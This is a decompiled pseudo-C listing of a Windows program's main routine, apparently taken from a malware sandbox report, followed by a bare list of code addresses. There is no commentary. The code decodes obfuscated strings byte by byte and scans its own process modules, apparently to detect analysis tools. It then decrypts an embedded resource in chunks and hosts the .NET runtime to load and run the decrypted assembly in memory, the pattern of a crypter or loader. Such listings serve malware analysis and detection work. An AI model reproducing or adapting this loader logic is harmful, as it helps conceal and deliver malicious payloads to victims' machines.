				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						CloseHandle(_t525);
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543); // executed
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x77b5cf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

0x004019f0
0x004019f0
0x004019fd
0x00401a10
0x00401a15
0x00401a1a
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3d
0x00401a42
0x00401a47
0x00401a4c
0x00401a51
0x00401a56
0x00401a5b
0x00401a60
0x00401a65
0x00401a6a
0x00401a6f
0x00401a74
0x00401a79
0x00401a7e
0x00401a83
0x00401a88
0x00401a8d
0x00401a92
0x00401a97
0x00401a9c
0x00401aa1
0x00401aa6
0x00401aab
0x00401ab0
0x00401ab9
0x00401aba
0x00401abf
0x00401ac7
0x0040248d
0x0040248d
0x00402496
0x00401acd
0x00401ad6
0x00401ae2
0x00401ae6
0x00401af1
0x00401af6
0x00401afb
0x00401b00
0x00401b05
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b1e
0x00401b23
0x00401b28
0x00401b2d
0x00401b32
0x00401b37
0x00401b3c
0x00401b41
0x00401b46
0x00401b4b
0x00401b50
0x00401b55
0x00401b5a
0x00401b5f
0x00401b64
0x00401b69
0x00401b6e
0x00401b73
0x00401b78
0x00401b7d
0x00401b85
0x00401b8d
0x00401b95
0x00401b9d
0x00401ba4
0x00401ba9
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bc2
0x00401bc7
0x00401bcc
0x00401bd1
0x00401bd6
0x00401bdb
0x00401be0
0x00401be5
0x00401bea
0x00401bef
0x00401bf4
0x00401bf9
0x00401bfe
0x00401c03
0x00401c08
0x00401c0d
0x00401c12
0x00401c17
0x00401c1c
0x00401c21
0x00401c26
0x00401c2b
0x00401c30
0x00401c35
0x00401c3a
0x00401c3f
0x00401c44
0x00401c48
0x00401c4f
0x00401dc3
0x00401dc4
0x00401de0
0x00401de2
0x00401de7
0x00401dec
0x00401df1
0x00401df6
0x00401dfb
0x00401e00
0x00401e05
0x00401e0a
0x00401e0f
0x00401e14
0x00401e19
0x00401e1e
0x00401e23
0x00401e28
0x00401e2d
0x00401e32
0x00401e37
0x00401e3c
0x00401e41
0x00401e46
0x00401e4b
0x00401e50
0x00401e55
0x00401e5a
0x00401e5f
0x00401e64
0x00401e69
0x00401e6e
0x00401e73
0x00401e78
0x00401e7d
0x00401e82
0x00401e86
0x00401e8b
0x00401e96
0x00401e9a
0x00401ea4
0x00401eaf
0x00401eba
0x00401ebf
0x00401ec4
0x00401ec6
0x00401ecb
0x00401ece
0x00401ed2
0x00401ed4
0x00401eef
0x00401ed6
0x00401edd
0x00401ee2
0x00401ee6
0x00401ee9
0x00401ee9
0x00401ef7
0x00401efc
0x00401f02
0x00401f08
0x00401f0c
0x00401f15
0x00401f18
0x00401f1a
0x00401f1c
0x00401f22
0x00401f22
0x00401f24
0x00401f28
0x00401f2f
0x00401f33
0x00401f33
0x00401f40
0x00401f45
0x00401f4a
0x00401f4b
0x00401f50
0x00401f58
0x00401f58
0x00401f58
0x00401f58
0x00401f33
0x00401f63
0x00401f63
0x00401f69
0x00401f72
0x00401f72
0x00401f72
0x00401f73
0x00401f75
0x00401f7b
0x00401f80
0x00401f81
0x00401f86
0x00401f86
0x00401f8c
0x00401f8d
0x00401f8d
0x00401f9d
0x00401fa2
0x00401fa6
0x00401fac
0x00401faf
0x00401fb6
0x00401fbf
0x00401fc4
0x00401fc8
0x00401fce
0x00401fd3
0x00401fe0
0x00401fec
0x00401ffe
0x00402001
0x00402006
0x0040200b
0x00402010
0x00402015
0x0040201a
0x0040201f
0x00402024
0x00402029
0x0040202e
0x00402033
0x00402038
0x0040203d
0x00402042
0x00402047
0x0040204c
0x00402051
0x00402056
0x0040205b
0x00402060
0x00402065
0x0040206a
0x0040206f
0x00402074
0x00402079
0x0040207e
0x00402083
0x00402088
0x0040208d
0x00402092
0x00402097
0x0040209c
0x004020a1
0x004020a5
0x004020aa
0x004020ae
0x004020b4
0x004020b6
0x004020bb
0x004020c0
0x004020c5
0x004020ca
0x004020cf
0x004020d4
0x004020e1
0x004020e6
0x004020eb
0x004020f0
0x004020f5
0x004020fa
0x004020ff
0x00402104
0x00402109
0x0040210e
0x00402113
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212c
0x00402131
0x00402136
0x0040213b
0x00402140
0x00402145
0x0040214a
0x0040214f
0x00402154
0x00402159
0x0040215e
0x00402163
0x00402167
0x0040216c
0x00402171
0x00402177
0x00402179
0x0040217c
0x0040217e
0x00402183
0x00402188
0x0040218f
0x00402196
0x0040219a
0x0040219e
0x004021a2
0x004021a4
0x004021bc
0x004021be
0x004021c0
0x004021c6
0x004021ca
0x004021e5
0x004021ec
0x004021f1
0x00402213
0x00402215
0x00402217
0x0040221d
0x00402239
0x0040223b
0x0040223d
0x00402243
0x0040224d
0x0040224f
0x00402251
0x00402260
0x00402264
0x00402269
0x00402277
0x0040227b
0x00402286
0x00402293
0x004022af
0x004022b1
0x004022b5
0x004022b7
0x004022be
0x004022be
0x004022d7
0x004022e8
0x004022ef
0x004022f6
0x00402300
0x00402304
0x00402308
0x00402315
0x0040231a
0x0040231e
0x00402324
0x00402328
0x0040232a
0x00402331
0x00402331
0x0040234e
